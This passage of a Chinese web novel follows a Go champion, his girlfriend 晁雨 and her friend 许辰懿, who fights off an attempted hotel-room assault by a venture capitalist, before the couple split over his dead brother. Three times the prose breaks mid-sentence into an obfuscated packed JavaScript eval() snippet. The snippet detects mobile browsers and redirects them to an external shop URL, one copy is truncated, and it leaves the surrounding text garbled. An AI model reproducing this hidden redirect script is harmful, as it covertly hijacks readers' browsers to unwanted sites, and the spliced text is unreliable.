另一派强势站定辜屿的,表示遇到过不少爱搞小动作的棒子,这一看就是郑旻勋为了应对辜屿所想出的拖延战术,根据辜屿对阵的表现,赶紧再研究一轮辜屿。 晁雨点进实时微博。 一条条最新消息不停往外蹦,刷新的最近一条是辜屿从棋室走出来,天这样冷了,他仍穿得单薄,黑T外罩一件墨色外套,头发略长长了些,扫着沉黑的眼,瘦长的指间拎着瓶水。 围堵在门口的记者蜂拥而至:“请问郑旻勋棋手申请比赛暂停的消息被你驳回是真的吗?” “你真的拒绝了他回国探望病重家人吗?” “不打算给他最后见家人一面的机会吗?” 记者为了话题劲爆,问的问题其实十分有诱导性。 辜屿不知是听不出来,还是他根本不在意。他本可以回避,本可以请助理挡开所有的记者,但他一双锐冽的眼直视镜头,冷声吐出一个字: “是。” 微博上又炸了。 人总更容易共情弱者,对亲缘的共情一度超越了国籍。更多人跳出来骂辜屿冷血,有违大国精神,甚至更有情绪激越的建议封杀辜屿。 许辰懿又给晁雨打来电话:“看了?” “看了。” 许辰懿咂一下舌,这事吧也不好安慰。她说:“我有经验,出了这种事吧先看品牌方的反应,要是纷纷跳出来解约那就是要完。” “但你看品牌方不是都还在观望嘛。据说也有不少媒体去韩国那边取证了,这事还不一定怎么样呢。” 等了两天,去韩国的媒体们甚至自媒体们并不顺利。 郑旻勋对所有记者避而不见,没人知道他重病的家人到底怎么样了。 自媒体们更是只能在韩国采访一些路人,询问他们对辜屿这事的看法。这又激发了一波人的反感,觉得棒子当然得骂辜屿、维护自己国家的棋手了。 于是又一波人下场替辜屿辩驳、与韩国网友对骂。 无论哪一种,都是在把辜屿往舆论的风口浪尖上推。 晁雨一开始没打算去北京,觉得自己不是搞媒体的,这节骨眼上去了也是添乱。 后来她还是决定去一趟。 不打算说什么,就是跟辜屿见一面,喝杯咖啡、聊聊闲话。 她跟辜屿说:“最近那个咖啡连锁,就是特便宜那个,出了‘猫和老鼠’联名,芝士蛋糕拿铁,一听就好喝。” 她想去北京的原因很简单。 如果她出了这样的事,她会想要跟辜屿见一面。无需说什么,就是见一面。 还因为辜屿回到洵州的那天、两人交缠到一起时,辜屿吻着她睫毛时,她喃喃说出那句:“我信你。” 晁雨收拾了行李,准备趁着周五下班去北京。 合上行李箱盖时一回头,见葛洁倚在她房门口。 她半咬了咬下唇:“妈。” “你这是要去北京?”葛洁也看到网上的消息了。 晁雨知道葛洁会生气,但她不想瞒着葛洁,还是点了点头。 葛洁什么都没说,只是倚在门口,看着她把最后随身的东西塞进帆布包。 然后低低地开口:“我对你的期望很简单。我希望你找个温厚的,善良的,能懂得体谅你的。你们年轻人总觉得这是些老掉牙的词,真正过起日子来,你才知道有多重要。” 晁雨垂着眼睫,背对着葛洁不言语。 直到她拎着行李箱走出房间,路过葛洁身边,葛洁并没伸手来拦她。 只是等她路过以后,在她背后低声说:“你一定要让妈妈难过吗?” 她的语气瞬时让晁雨红了眼圈。 晁雨想起葛洁查出乳腺癌的那个生日夜,北京下暴雨,她躲在满是锈味的废弃电话亭里给葛洁打电话。 那时她心里想的是:世事冗杂,想让葛洁往后事事顺心,她知道那是不切实际的愿望。 可那时她按下决心,至少她自己,再不会让葛洁难过。 晁雨吸吸鼻子,头埋得低低的,声音闷在喉咙里般:“妈妈对不起。” 葛洁再无话了。 晁雨用力一咬唇,拖着行李箱离开了家。 - 抵达北京,晁雨先去了许辰懿家。 辜屿正开会,一时无法脱身。 许辰懿跟晁雨说:“你别太担心啊。” 直到辜屿开完会,到了许辰懿楼下。 晁雨下楼去,见着人,先是笑言了句:“太晚了,咖啡店都关门了。” 辜屿从身后拎出个袋子来。 便是晁雨提及的那款,连锁咖啡品牌的芝士蛋糕口味。 杯体外包了保温套,但到底入冬了,咖啡只剩一点余温。 变凉的咖啡总有些泛酸,混着厚重的芝士蛋糕味,裹在人后齿。但晁雨挺开心的,毕竟她还是喝到了这杯咖啡。 她弯折着笑眼问辜屿:“睡得好么?” “很好。” 晁雨舌尖很轻地抵一抵上颚。 正当这时,辜屿的手机响。 晁雨:“你接。” 辜屿接起,只是淡淡应了两声“嗯”,很快便挂断了。 晁雨耳朵灵,已听到电话那端提及“郑旻勋”的名字。 她犹豫了下要不要问,又想起葛洁那番关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081116|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于“交心”的话,觉得不该有那么多弯弯绕绕,直接开口问:“怎么了?” 辜屿答她:“只是查清楚了,郑旻勋那边并没有所谓的家人重病。” 晁雨呆滞两秒,才轻轻地“啊”了一声。 辜屿自己倒很淡定。 他看起来并不像装得没被这件事影响,而是真的没被这件事影响。 晁雨看他一眼,把眼神投放到马路对面新小区的霓虹上,又兜转回他的脸上:“开心么?” “嗯?” “这件事终于解决了。” “还好。” “你当时拒绝,是不是知道郑旻勋胡扯来着?” 辜屿眉宇间透着淡色:“是有这猜想。” “为什么?” “直觉。” 晁雨点点头,脚尖在地上磨两下,仰起脸来冲辜屿笑道:“不管怎么说,我挺开心的。” 辜屿扬起手背碰了碰她侧脸:“冷?” “有点。” “跟我回去?” “我得上楼跟辰辰打声招呼。” 许辰懿听闻事件解决,连道阿弥陀佛,把行李箱推给晁雨:“回本去吧你!” 晁雨准备周日晚上回洵州,周六跟辜屿腻歪了一天,晚上辜屿要出门,去参加一个确定明年代言方向的会。 晁雨给许辰懿打电话:“出来看电影吗?” “没空!” “怎么,周六晚上还加班啊?” 许辰懿笑嘻嘻一句:“姐们儿发大财去!” “去哪发大财?” “事成了再告诉你,自己玩儿去吧,啊,乖~”许辰懿说着便挂了电话,看起来真的很忙。 晁雨正等劝宁塔修缮方案的数据验算,这晚也无事可做。 盘腿坐在沙发上,打开笔记本,看了部特无聊的爆米花电影。 辜屿发来微信,拍当晚天边的一轮月。 北方的月和南方也是不同的。南方的月更润泽,像宣纸上晕开的墨,北方则边缘清晰,利落得多。 晁雨走到窗边看了眼。 小区里植被太密,她的视线刚好被棵树挡住,看不见月亮。 她给辜屿回信息:[开完会了?] ,:[中场休息。] ,:[大约还有一小时。] 冷冷冰雨:[我没吃晚饭。] ,:[?] 冷冷冰雨:[看了圈外卖,没什么好吃的。] 过了会儿,辜屿又发来一张照片。 晁雨看了半天,发现那是一张会议室。会议开始了,辜屿手机放在桌下仰拍,拍那位正在发言的不知哪单位领导。 晁雨一瞬笑了。 像极了上学时老师在上面讲课、这人藏在桌肚里偷偷玩手机。 也不知辜屿这样的性子,上学时会不会偷偷玩手机。会不会挽起校服袖子,会不会在刷题无聊时转笔,会不会喜欢用钢笔、指间染一点淡蓝的墨迹。 辜屿问:[去宵夜吗?] 冷冷冰雨:[不想。] 冷冷冰雨:[不想吃正经饭。] 冷冷冰雨:[想吃甜食。] 冷冷冰雨:[但现在甜品店应该都已经关了。] 冷冷冰雨:[魔性的悲伤蛙.jpg] ,:[我知道有一家。] ,:[来么?] 晁雨就这样被诱惑了,裹上羽绒服出门去。 辜屿发来开会的地址,大概为了照顾全球各地赶来的各方,订在一家五星级酒店。晁雨坐末班地铁过去,应该正赶上辜屿散会。 往酒店大堂走时,看到不远处停着辆闪灯的警车。 晁雨扭头看了眼,也没多放在心上。 大堂里平静得一如往昔,来自世界各地的客人零星而坐,有些在等人,有些在翻杂志。晁雨准备挑一处软椅坐下时,往电梯那边瞟了眼。 很奇怪地,那里也站着警察。 身边两个女孩在低声议论:“为什么警察来了?” “怎么你不知道么?”其中一个告诉朋友:“有人报警,好像在酒店房间里被……” 声音无限压低下去。 正当晁雨的注意力被那交谈吸引过去,电梯门叮一声开了。 这声音在奢阔的大堂里并不惹人注目,晁雨只是耳朵灵,下意识看过去。 一个身量高挑的女人低着头,在女警的陪伴下走出来。她穿一字裙,衬衫领口扣子松垮垮的,膝盖上有明显的瘀伤。晁雨脑子里顺着刚才那两个女孩的话往下想,所以她是被…… 晁雨的脑子在这番信息量的冲击下,还是迟滞了。 当她远远认出那身影时,刚巧女人抬起头来答另一警察的话。 晁雨的猜想与视线里远远的那张脸重叠起来——那是许辰懿。 并且她嘴角有明显淤乌。 晁雨紧抿起唇,一言不发地跑过去。 许辰懿正跟警察说话时,突然有人撞过来,紧攥住她手腕,指尖都在颤。 许辰懿扭头,看见晁雨的一张脸,双唇抿得发白。 许辰懿先是咧嘴笑了下,嘴角的伤令她的笑抽搐了下:“你怎么在这?来找你家弟弟的?” 她回握住晁雨的手:“没事啊,什么事都没有,老娘一脚把那孙子给踹废了。” 68. 在一起15 许辰懿这会儿先要去医院验伤,有女警陪着,晁雨跟着一起。 许辰懿坐在医院里,还是那般风风火火的山大王样:“你怎么不问我出什么事了啊?” 晁雨紧紧攥住她手腕,不吭声。 许辰懿撞一下她的肩:“你别一副小鹌鹑样儿,别人看你这样更得欺负你。你得学我,那叫一牛掰!” 许辰懿开始绘声绘色给晁雨讲她的英雄事迹。 原来许辰懿今晚来酒店,是因为丁鷇音给她介绍了一做风投的人。 许辰懿从不掩饰自己的野心勃勃,她要从过去的泥沼里绝处逢生,她要很大的能力、和很多的钱。 当这人约她在酒店房间见时,她是有警觉的。但在亚轩向上爬的速度并不能满足她,她还是去了。 居然真就出了事。 那人裹着浴袍、开好了红酒,开始正经谈事的时候,手往许辰懿的膝头放。 “那两杯猫尿就能灌晕老娘啦?”许辰懿说得趾高气昂:“老娘立刻把他的脏手打开了。” 这人是个跋扈惯了的二代,当下觉得被驳了面子,开始拽许辰懿的衬衫领口。 “老娘能吃这种亏么?健身房也不是白去的,一脚把他命根子踹废了,出了房间立马打电话报警。” 她说得轻描淡写。 晁雨盯着她膝头的乌青:“怎么弄的?” “出房间的时候跑太快,摔了一跤。”许辰懿咧嘴笑道。 “你笑什么?”晁雨问她。 “我……” “你老这么抽抽嘴,嘴角的伤不知道疼啊?” 晁雨站起来,想往走廊另一端的自动售货机走。许辰懿本能地慌了下,抓住她的手:“你去哪?” 晁雨心里一疼。 柔声跟许辰懿说:“我去买杯水。” 许辰懿这才放开她。 晁雨走到自动售货机边,扫码付钱取了纸杯,打了杯热巧克力。回到许辰懿身边,用杯子碰碰许辰懿的手背:“拿着,暖暖手。” 许辰懿伸手接过。 她的指尖触到晁雨,冰凉。 晁雨坐回许辰懿身边。 其实她很想像许辰懿那样,故作轻松地插科打诨,随便说点什么。 可她做不到。 她全部的视线,被许辰懿膝上的淤青、唇边的乌肿所引过去。那本该是多漂亮的一张脸啊。 得是多么惊惶地从酒店房间里逃出来,才会重重摔到在走廊上、把膝盖磕成这样? 许辰懿讲着自己的“英雄事迹”时,晁雨盯着她指尖。 发白。 不管许辰懿再怎么笑,晁雨只看到她指尖冷得发白。 那是人在极度紧张下的反应,血液根本不往末梢神经涌流。 许辰懿喝了些热巧克力,把纸杯递到晁雨手里:“一人一半。” 晁雨抬眸看她。 许辰懿仍是笑:“你干嘛这么大反应啊,我习惯了。从小到大都是这样,没有人会护着我的,我得学会自己护着自己。” 一句话反倒在晁雨心上扯了道大大的口子。 验完伤,晁雨陪许辰懿去警局做笔录。 两人从警局出来,晁雨又握了握许辰懿的手。 仍是冰凉。 不只许辰懿怕,其实晁雨也怕。从警局出来,心里像顿时没了抓拿。今晚的事引发了女人心底最深的恐惧。 回到许辰懿的出租屋,这种心有余悸的感觉并没消褪。 晁雨轻声同许辰懿商量:“我打电话叫二柱子过来,好么?” 许辰懿点点头,没有反对。 晁雨打完电话,算着时间,到楼下去等晁二柱。 今夜不知为何起了那么大的风,冷冽得像要刮伤人的皮肤。晁雨竖起羽绒服领子,脸半埋进去。 晁二柱来得很快。 他比晁雨想得敏感,开口便问:“出什么事了?” 晁雨隐晦地把今晚的事说了。 不说不行,不说她怕晁二柱往雷区里趟。 晁二柱沉默下去。 他什么都没说,跟晁雨一同上楼,默默煮了三碗热气腾腾的面。 他的手艺倒比晁雨好得多。 吃完他洗了碗,晁雨陪许辰懿回房去睡。他铺开被子枕头,就在客厅的沙发上睡。 晁雨晚上起夜,借着窗口投进的路灯看他一眼。 一米八几的个子,蜷在那张小小窄窄的双人沙发上。 他闭着眼,在黯淡摇晃的路灯光影里低声说:“姐,没事。你们放心睡。” 晁雨这才知道他根本没睡着。 回到床上的时候,晁雨仰面望着天花板。 这事真心酸。 她们受到的威胁与伤害来自于男性。但在害怕的时候,却又必须向其他她们信赖的男性寻求帮助。 安全感的来源,是足以对抗的肢体力量。在这一点上,女性永远占下风。 晁雨阖上眼,却也是一夜没睡。 快到天亮时,才勉强迷迷糊糊眯了会儿。睁眼时,发现许辰懿已经醒了,小声跟她说:“让你弟回去吧,没事了。” 晁雨点点头。 她开门走出房间。 晁二柱已经起来了,被子枕头叠得整整齐齐放在一旁。 他问晁雨:“叫我回去?” 晁雨点一下头。 “好。”他站起来:“早饭做好了在厨房里。她冰箱里也没什么正经吃的,你叫她……算了,有事给我打电话。” 晁二柱走了。 吃完早饭,许辰懿照常去上班。晁雨在许辰懿家住了下来,直到这时,才发现辜屿昨晚给她打了许多电话。 不知为何,她不想讲电话,给辜屿回了微信过去。 冷冷冰雨:[我在辰辰家。] [辰辰昨晚出了点事,我得陪着她。] 辜屿回得很快:[是柴锐?] 晁雨心头一跳。 柴锐,便是约许辰懿去酒店的那个风投人。晁雨昨晚陪许辰懿去做笔录时,看到过这名字。 她拇指贴着手机屏幕摩了下,发现自己竟无话可说。 直到晚上,许辰懿下班回来。 她看上去一切如常,只是罕见的没加班。踩着夜色降临的那条线回到家,好似黑暗会带来由衷的恐惧。 晁雨问她:“上班怎么样?” “照样牛掰呗。”仍是云淡风轻的语气。 晚上晁雨点了麻辣烫,两人吃完,晁雨擦桌子时,许辰懿走过来,指节叩一叩桌面:“陪我下楼一趟。” “怎么了?” “丁鷇音来了,我不想让他来家里。” 心里的恐惧还在,平等地指向任何信赖度不够的男性。 晁雨陪许辰懿下楼,许辰懿约他在咖啡馆见。 丁鷇音一双桃花眼,一张脸永远带着玩世不恭的意味,这时却是罕见的严肃,开口先对许辰懿道歉:“对不起。” 许辰懿乌青的嘴角抽了下——她今天上班时跟同事说,她撞柜子上了。 丁鷇音:“我真不知道柴锐约你去酒店,不然我怎么也会阻止你。” 许辰懿沉默下去。 是晁雨问:“他有前科?” 丁鷇音:“他并不算朋友,只是从小一个圈子里长大的。他跋扈惯了,坦白说,是,他在国外有前科,回国后这么多年,一直安心跟着他哥做生意,我是真当他改邪归正了。结果他妈的……” “是我的问题。”丁鷇音看着许辰懿:“我知道说什么都没用,但……” 他的拳在膝上攥得很紧。 默然良久,仍是那句:“是我的问题。” 不然,还能说什么呢。 倒是许辰懿咧嘴笑了笑:“嗨,这不是没出什么大事么。你以后有……” 晁雨了解许辰懿。 许辰懿是想说:你以后有什么靠谱的资源想着点我就成。 令晁雨心酸的是,许辰懿是这样一个过于现实的、拿吃过的亏去换资源的人。 更令晁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092933|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨心酸的是,许辰懿明明是这样一个人,却连这样一句话都说不出口。 许辰懿是真的伤到了。 晁雨拉起许辰懿:“我们走。” 不要说“没关系”,不要说“原谅”。男人应该愧悔,为他们对同性的过度宽容,哪怕这愧悔没任何实际意义。 晁雨走到一半回了下头:“这事辜屿也知道?” 丁鷇音愣了下,点头:“知道。” 晁雨再没说什么,挽着许辰懿走了。 - 晁雨跟九叔请了假,留在北京多陪许辰懿一段时间。 这几天,辜屿并没有联系她。她也没有联系辜屿。 是到有天傍晚,晁二柱给晁雨打电话:“下楼。” 晁雨下楼去见他:“怎么了?” “辜屿家住哪?”他没叫“狗哥”,而是叫——“辜屿”。 “干嘛?” “他家住哪,带我去。”晁二柱已迈步往前走去,甚至拉开一辆等在路边的网约车门。 晁雨只得小跑着跟上他:“你到底要干嘛?” “找他问点事。”晁二柱扭头望着窗外。 晁雨只得带晁二柱去了辜屿家小区,在门岗进行了繁冗的登记。保安打电话告知辜屿,辜屿没说什么,回应放行。 晁雨输密码开门,晁二柱却站在门口。 晁雨:“不进来?” “嗯,在门口等。”晁二柱背对着晁雨。 晁雨只得陪他站在门口。尽管以前在北京生活了八年,但那时候太忙了、总是脚步匆匆。这好像是她第一次站定下来看,原来北京的日暮时分有这么多乌鸦。 群鸦黑压压的展翅,掠过残阳。 辜屿便是在这时回来的。 看见门口等着的晁二柱和晁雨,表情平静地走过来。 晁二柱看起来也很平静:“她出事的那晚,你也在那家酒店、并且遇到了她对吗?” 晁二柱是从同事那里听说的。同事很兴奋地说遇到了辜屿,悄悄拍了照,没上前打扰。 也就是那张照片,拍到了正与辜屿擦肩而过的许辰懿。 晁二柱问辜屿:“你认识那人渣,你就没想过阻止她、让她不要上楼么?” 辜屿:“没有。” 他回答的语调太平淡了,淡得像网络舆论四起时、他回答那些记者是不是不打算让郑旻勋见家人最后一面。 他什么都不解释,只是一声直接的:“是。” 好像全没把这件事放在心上。 晁二柱一拳挥了上去,这一拳出得极重,辜屿仰面往后倒去,堪堪跌下台阶。 这一切的发生不过瞬息之间,晁雨抬手捂住嘴,去发现自己并没有尖叫。 她惊异地发现,自己对晁二柱想来问辜屿什么问题,是有心理预期的。 大概内心深处,她也想问。 她还发现她来北京见辜屿、知道郑旻勋的事情解决了时,那时她便想问:如果你觉得郑旻勋的家人真的重病,你会放弃比赛、让他回国么? 她没问。因为她不敢。 辜屿从地上爬起来,晁二柱刚才那一勾拳正中他的胸口,所以外表上看不出痕迹。只是摔倒地上时,小臂在地上磨出长长一道血痕,当他站起来垂下手,两滴血顺着指尖淌到地上。 晁雨望着那两滴污血在地上打落的痕,不知为何,觉得手脚发沉。 她并没有向辜屿走过去,只是开口顺着晁二柱的问题:“为什么没有阻止辰辰?” 辜屿:“没这样想过。” 晁雨深吸一口气,紧紧屏在胸腔里。 晁二柱狠狠嗤了声:“姐,你确定要跟这种人在一起?” 他大跨步地往前走去。晁雨在原地站了半分钟,她没走向辜屿,辜屿也没走向她。 最终,她拔腿向着晁二柱的背影追去。 辜屿站在原处,垂着眼,看着自己的血顺着指尖、打落在地面上,唇线被他拉得很平。 最终没有回头去看晁雨的背影。 69. 在一起16 晁雨跟着晁二柱上了出租车。晁二柱一言不发地把她送回许辰懿家小区。 末了才说:“上去陪她吧。” 晁雨望一眼车内,他垂放在腿上的手还颤着。 出租车开走了,晁雨上楼。 许辰懿已经下班回来了:“刚准备给你打电话,去哪了?” 晁雨甚至还记得去超市买了些饼干装样子:“买零食。” “嗨,别吃这些了。”许辰懿出事后永远一副没事人的样子:“我告诉你,咱这两天得紧急节食,什么天鹅臂啊芭蕾腿啊,各种健身操都练起来。” “为什么?” 许辰懿从包里掏出一只信封:“建筑圈有个高规格的晚宴,姐们儿带你去见见世面。回来的路上,我连我俩穿什么礼服都想好了。我告诉你啊那礼服可瘦,小肚子一点不能凸出来那种。” “你劝宁塔的方案不是差不多了么?出去走动走动,攀点人脉。” 晚宴是三天后。这三天的时间里,辜屿仍旧没联系晁雨。 晁雨数度拿起手机,点进与辜屿的对话框。 她想问辜屿手上的伤好些了没?有没有去医院?字打打删删,最终也没把消息发出去。 她和辜屿的关系,好像卡在了某个环节。 三天后,许辰懿带晁雨去赴宴,一脸傲娇地把两件礼服从防尘袋里取出来:“美吧?” 那的确是两件很美的礼服。 料子差不多,如月光倾洒。露肩款,如果头发盘起来,能显出天鹅一般的颈项,和洒了金粉的锁骨。 晁雨知道许辰懿为何挑这样的礼服。 在酒店的警情通报出来以后,晁雨点进去看过。看到有人在下面回复:[怎么就盯上她了呢?] [她自己穿得骚吧?勾起人的犯罪思想。] 永远都是这样。当女性遭遇类似的事时,受害者有罪论就冒了出来。 许辰懿偏不如他们的愿。她偏要穿得光鲜亮丽,而不要畏畏缩缩、把自己裹得严严实实藏起来。 她和晁雨一同出门。 晚宴上,端了两杯鸡尾酒,悄声给晁雨介绍,哪些人脉也许对晁雨以后有用。 之后跟晁雨说:“其实吧你看谁身边围的人多,谁的资源就绝对有谱儿。能来这晚宴的人呐,都是人精。” “你先观察观察,姐们儿去社交一轮。” 她遁了。 晁雨端着鸡尾酒杯,站在原地按许辰懿教她的规律一看,还真是。虽说人人珠光宝气、晔晔照人,但总有些人,身边里外里围了好几层。 这么看了一圈,晁雨的唇就抿了起来。 身边簇拥最多的那位,竟是辜屿的母亲,毛慕清。 联想到丁鷇音之前所说辜家那惊人的家境,这事也不意外了。 毛慕清还是先前那副样子,淡淡的,恹恹的。无论身边多少追捧,都激不起她半点兴趣似的,不怎么搭理。 晁雨倏地移开视线,偏偏她朝晁雨走了过来。 “晁小姐,聊聊?” 两人来到露台。 “你问过辜屿了么?” 晁雨想说“我们很好”,若在其他任何节骨眼上遇到毛慕清、她都有底气对毛慕清说出那句“我们很好”。 可此时,也许那晚在医院时一直盯着,她眼前总是许辰懿那磕到到乌青的膝盖、被打到肿破的唇角。 鸡尾酒黏度太高,让人紧阖着双唇发不出任何音节。 毛慕清挑了挑唇角:“你问了,他没告诉你对吧。” “好,那我告诉你。” - 晁雨对辜屿童年的印象,停留在丁鷇音的讲述里,有着软软的头发,睡完午觉会翘起来一缕。 在毛慕清的讲述里,他完全变成另一副样子。 他很糟糕,对家里帮佣的人永远冷淡,不给好脸色。 他很怪戾,永远不肯与父母亲近,总是一个人躲在阴暗的棋室。 毛慕清问晁雨:“你知道他有个哥哥吗?” 晁雨心中一凛。 那是一种无比怪诞的感觉。 她从小就认识辜屿了,很多很多年,很多很多个夏天。她认识辜屿的外婆毛秀珍,那是个嗓门很大的老太太。后来她也见过了辜屿的交际圈,其中的丁鷇音是个长一双风骚桃花眼、却嘴很碎很爱操心的人。 晁雨自认为是了解辜屿的。不说交心,至少他们相熟。 现在却有人告诉她,辜屿像一只水晶球。她自以为看透了辜屿,却只是被其中一个棱面所骗。 半开放的露台风有些冷,晁雨不自觉抱了抱自己的胳膊。 毛慕清走上前,她戴着一条精致的项链。她把链坠拨开,露出一枚小小照片拿给晁雨看:“这是我的大儿子,小屹。” 照片保存得再好,也随岁月泛一点旧黄。 那是一个不过七八岁的小男孩,顶着张过分天真、过分澄澈、过分不包含内容的笑脸。 晁雨心里那种怪异的感觉更甚了:“他现在在哪?” 毛慕清收回项链:“他死了。” - 毛慕清结婚的第二年,她的大儿子出生了,取名为“端如砥柱屹清秋”的“屹”字。 很快,他被查出患有“猫叫综合征”。 这是一种影响智力的先天性疾病,诞生后啼哭如猫叫。 辜家老爷子找到她:“把这孩子送走。” “什么?”毛慕清以为自己听错了。 辜老爷子:“我们辜家不会生出这样的孩子。” 毛慕清遍体生寒。 她想尽方法与辜老爷子谈条件,表示自己会尽快再生一个孩子。 老天好像在与她开一个巨大的玩笑,她的确诞下了一个健康的男婴,便是后来被誉为“智商怪物”的辜屿。 毛慕清产生了一种奇怪的逆反心理,好像她大儿子的智商,都被小儿子吸走了似的,好像……好像这小小的婴孩,是怪物。 辜老爷子却十分满意,把这智商卓绝的婴儿带在身边亲自照拂,并早早发现了他围棋方面的天赋。 辜屿五岁的时候,才被送回毛慕清身边,第一次见到自己的哥哥。 很神奇的,辜屹也对那小小的黑白棋子感兴趣。 辜屿与辜屹对弈,大胜而去,剩辜屹一个人在原地哇哇大哭。 毛慕清悄悄找到辜屿:“哥哥生病了,下次你让让他,好不好?” 下一次,下下一次,辜屿依旧大胜而去,丝毫不理会辜屹一个人大哭。 甚至那张小小的面庞,那张跟辜屹十分肖似的面庞,写满漠视。 毛慕清脑子里,又浮现出曾在心里一晃而过的那两个字—— “怪物”。 让她验证这个结论的,是有一次举家出游,她不顾辜老爷子的冷脸,把辜屹带在身边。 在意大利的别墅,她陪同丈夫接待宾客。辜屿和辜屹去游泳,保姆不知怎的胆敢跑去接个电话。 等毛慕清发现、往池塘边跑的时候,发现辜屿一脸无谓地站在河边。 毛慕清对晁雨说:“我看到小屹在池塘里,差一点淹死。” “他想淹死他哥哥。” “我知道你也许会说,因为我把所有的爱都给了小屹,他嫉妒了、他不懂事、他还是个孩子。可任何一个有人性的人,会看到自己的亲哥哥马上要淹死、而一点不呼救吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她跟晁雨说:“人的想法有时只是一瞬之间,他看到我的那时候,没想到提醒我一句。也许他当时在想一局棋,也许在想接下来的会。” “我不是劝和。你和他的关系,你自己拿主意,但别因为我的事情绪上头。” 第二天许辰懿去上班后,晁雨掏出手机。 她本想给辜屿发条微信,又把手机收了回去。 直接坐地铁去了辜屿家的小区。 进门输密码时,她生出一种诡谲感:不会这密码已经失效了吧? 她还是顺利进去了。 辜屿不在,应该去棋室练习了。顶级棋手的生活说枯燥也枯燥,大部分时间都在夜以继日的练棋,偶尔处理商务工作,或飞到全球各地参赛。 晁雨在沙发坐下,伸手摸了下茶几。 她本想着辜屿家会不会凌乱一片,窗帘拉着,地上凌乱倒着喝空的啤酒罐,茶几上厚厚一层灰。 她本想着辜屿知道她在别扭什么,尽管辜屿不说,他心底也为许辰懿的遭遇而难受,甚至自责。 然而没有。 屋内窗帘大开,依然空寂,依然一尘不染。 辜屿从棋室回家的时候,在玄关看到了晁雨的鞋。 他走进去,看晁雨抱膝坐在沙发上,望着窗外。 看那样的姿势,她已不知坐了多久了。 辜屿没有走过去,就站在她身后。 她背对着辜屿,良久,开口问:“为什么从来不告诉我,你还有个哥哥?” 70. 在一起17 晁雨对着窗外坐了许久。她想看辜屿听到她问这话时的表情,又不敢看辜屿听到她问这话时的表情。 终于,她还是转过身来。 如果辜屿露出任何一丝难过的话,她不知自己会不会撑不下去所谓的那些原则。如果辜屿失力跌坐到沙发,她不知自己会不会过去、把辜屿的头抱在怀里。 她二十七岁了,她当然知道往事有解释的空间,不能只听毛慕清的偏颇之词。 可辜屿的反应很冷静。 他沉黑的双瞳总是很锐利,是在赛场上会令对手胆寒的眼神。他把外套随手放到一边,坐到沙发上,开始卷黑衬衫的袖子。 屋里暖气很足,晁雨看着他一点点把袖子卷起来,露出清瘦的小臂。上次摔到磨出的伤痕已愈合,变成一道蜿蜒的疤。 他去医院处理过么?晁雨不知道。 辜屿开口:“是。他死了。” 那个字尖锐地扎进晁雨心里。 在大得发空的客厅里,那张沙发也太大了,大得像没有波澜的一片灰海。晁雨坐在窗那一侧,夕阳晒得她后颈灼痛发烫。 辜屿坐在另一端,已掩没入夜晚降临的黑暗。 两人间隔着远远的距离。 晁雨:“在意大利的池塘边,你真的不想救他么?” 沉默像夜色,铺满了两人之间浩瀚无垠的灰海。 晁雨这样问,是给辜屿留下了一个解释的话口。 可辜屿默然良久,开口:“我不知道。” “也许吧。” 晁雨又开始咬自己的嘴皮了,发现辜屿在看他,又松开齿尖,开始用力抠自己的拇指。 “那许辰懿呢?”她终于问出来了:“丁鷇音说,如果他知道,一定会阻止。你那天明明都在酒店碰到辰辰了,你明知道那人渣的前科,你……” 晁雨抬眸看向辜屿那双似深潭的眼:“你从没想过阻止么?甚至只是提醒辰辰一句?” “一秒都没想过吗?半秒都没想过吗?” 晁雨死死抠着自己的指甲。 不知为何,辜屿把刚刚卷起的袖口,又一点点放了下去,遮住小臂上的浅疤,系好扣子,才回答晁雨:“没有。” 晁雨深吸一口气,在心里拼命提醒自己:不要哭。所以她觉得自己的眼眶并没有发红,只是痛得厉害,好似那夜露台的风灌了进去。 “你……”她开口后顿了顿,确认自己的声音没有发哽,才往下说:“你明知道你这样说,我们就不可能继续走下去了。” 辜屿淡淡问:“你今天不就是来跟我分手的吗?” 晁雨结舌。 “好。”她终于是点了点头:“很好。” 她站起来扫视了一圈,这空荡荡的屋里被她添置了些琐碎的日用品,但都不贵,也无甚带走的必要。 她往玄关走的时候,辜屿还坐在沙发上。 一直走到玄关,晁雨往立柜上瞟了眼。她维持了葛洁的习惯,习惯把用过的袋子都收起来,以后装东西或收垃圾用。 这习惯跟辜屿空成了侘寂风的豪宅挺不搭的,但辜屿也没说过什么。 于是晁雨一眼看到,她生日第二天从洵州拎来的那个“渔东家”红色打包袋,还被她折了几折压在角落,红得那般刺目。 晁雨伸手把那袋子抽了出来,才发现自己真没什么东西可装。 拖鞋、水杯、防蚊拍,她离开了这里用不上。 于是她又把那个旧旧的打包袋折几折捏在手里。这时,辜屿从沙发上站起走过来了。 晁雨半低着头推开门:“你知道吗?我妈说她看人很准、很清楚你是一个怎样的人时,我信誓旦旦跟她说,我了解你,我信你。” “多可笑,对吧?” 